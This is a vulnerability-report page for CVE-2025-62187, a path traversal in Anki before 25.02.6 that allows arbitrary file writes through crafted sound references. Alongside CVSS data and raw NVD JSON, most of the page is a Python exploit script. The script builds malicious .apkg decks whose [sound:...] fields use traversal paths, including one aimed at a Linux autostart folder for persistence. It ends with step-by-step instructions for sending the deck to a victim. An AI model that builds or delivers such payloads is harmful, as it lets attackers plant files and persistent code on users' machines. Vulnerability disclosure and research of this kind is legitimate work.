Security Vulnerability Report
中文
CVE-2025-62187 CVSS 2.9 LOW

CVE-2025-62187

Published: 2025-10-07 21:15:39
Last Modified: 2025-10-10 16:20:13

Description

In Ankitects Anki before 25.02.6, crafted sound file references could cause files to be written to arbitrary locations on Windows and Linux (media file pathnames are not necessarily relative to the media folder).

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ankitects:anki:*:*:*:*:*:*:*:* - VULNERABLE
Ankitects Anki < 25.02.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62187 PoC - Anki Path Traversal Arbitrary File Write # This PoC demonstrates how crafted sound file references in Anki cards # can cause files to be written to arbitrary locations. import zipfile import os import sqlite3 import tempfile import json def create_malicious_apkg(output_path, target_path="../../../../../../tmp/pwned.txt"): """ Create a malicious Anki package (.apkg) that exploits CVE-2025-62187 by using a path traversal sequence in a sound file reference. Args: output_path: Path where the malicious .apkg will be saved target_path: The traversal path to write to (relative to media folder) """ # Create a temporary directory for building the package with tempfile.TemporaryDirectory() as tmpdir: # Step 1: Create the malicious media file that will be written media_filename = "evil_audio.mp3" media_content = b"FAKE_MP3_CONTENT_FOR_POC" media_path = os.path.join(tmpdir, media_filename) with open(media_path, 'wb') as f: f.write(media_content) # Step 2: Create the collection database with malicious card db_path = os.path.join(tmpdir, "collection.anki2") conn = sqlite3.connect(db_path) cursor = conn.cursor() # Create minimal Anki schema cursor.execute("""CREATE TABLE col ( id INTEGER PRIMARY KEY, crt INTEGER, mod INTEGER, scm INTEGER, ver INTEGER, dty INTEGER, usn INTEGER, ls INTEGER, conf TEXT, models TEXT, decks TEXT, dconf TEXT, tags TEXT )""") cursor.execute("""CREATE TABLE notes ( id INTEGER PRIMARY KEY, guid TEXT, mid INTEGER, mod INTEGER, usn INTEGER, tags TEXT, flds TEXT, sfld TEXT, csum INTEGER, flags INTEGER, data TEXT )""") # Create a card with a malicious sound reference using path traversal # The [sound:...] tag with traversal sequence will cause Anki to # write the referenced file to an arbitrary location malicious_field = f'Card with malicious audio [sound:{target_path}]' cursor.execute( "INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data) " "VALUES (1, 'evil_guid', 1, 0, -1, '', ?, ?, 0, 0, '')", (malicious_field, malicious_field) ) conn.commit() conn.close() # Step 3: Create the media database mapping media_db_path = os.path.join(tmpdir, "media") media_conn = sqlite3.connect(media_db_path) media_cursor = media_conn.cursor() media_cursor.execute("CREATE TABLE media (fname TEXT PRIMARY KEY, csum TEXT)") # Map the malicious filename in the media database media_cursor.execute("INSERT INTO media VALUES (?, ?)", (media_filename, "fakechecksum")) media_conn.commit() media_conn.close() # Step 4: Package everything into .apkg (which is a ZIP file) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: zf.write(db_path, "collection.anki2") zf.write(media_db_path, "media") zf.write(media_path, media_filename) print(f"[+] Malicious .apkg created at: {output_path}") print(f"[+] Target write location (traversal): {target_path}") print(f"[+] When imported into Anki < 25.02.6, this will write a file") print(f" outside the media folder to the traversed path.") def demonstrate_exploitation(): """ Demonstrate the exploitation of CVE-2025-62187 with various targets. """ # Example 1: Write to /tmp on Linux print("=" * 60) print("CVE-2025-62187 - Anki Path Traversal PoC") print("=" * 60) # Linux target create_malicious_apkg( "exploit_linux.apkg", target_path="../../../../../../tmp/cve_2025_62187_pwned.txt" ) # Windows target create_malicious_apkg( "exploit_windows.apkg", target_path="..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Users\\\\Public\\\\cve_2025_62187.txt" ) # Write to user's startup folder (persistence) create_malicious_apkg( "exploit_persistence.apkg", target_path="../../../../../../home/user/.config/autostart/malicious.desktop" ) print("\n[!] To exploit:") print(" 1. Send the .apkg file to a victim using Anki < 25.02.6") print(" 2. Victim imports the deck") print(" 3. When the card is reviewed, Anki processes the sound reference") print(" 4. The referenced file is written to the traversed path") print(" 5. File now exists at attacker-controlled location") if __name__ == "__main__": demonstrate_exploitation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62187", "sourceIdentifier": "[email protected]", "published": "2025-10-07T21:15:39.143", "lastModified": "2025-10-10T16:20:13.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Ankitects Anki before 25.02.6, crafted sound file references could cause files to be written to arbitrary locations on Windows and Linux (media file pathnames are not necessarily relative to the media folder)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ankitects:anki:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.02.6", "matchCriteriaId": "438205D6-5F23-4377-8C3B-71ADE4F7770F"}]}]}], "references": [{"url": "https://github.com/ankitects/anki/pull/4041", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ankitects/anki/pull/4041/commits/51476e05b281737a0c2924342bccdb6e5be52ea9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ankitects/anki/releases/tag/25.02.6", "source": "[email protected]", "tags": ["Release Notes"]}]}}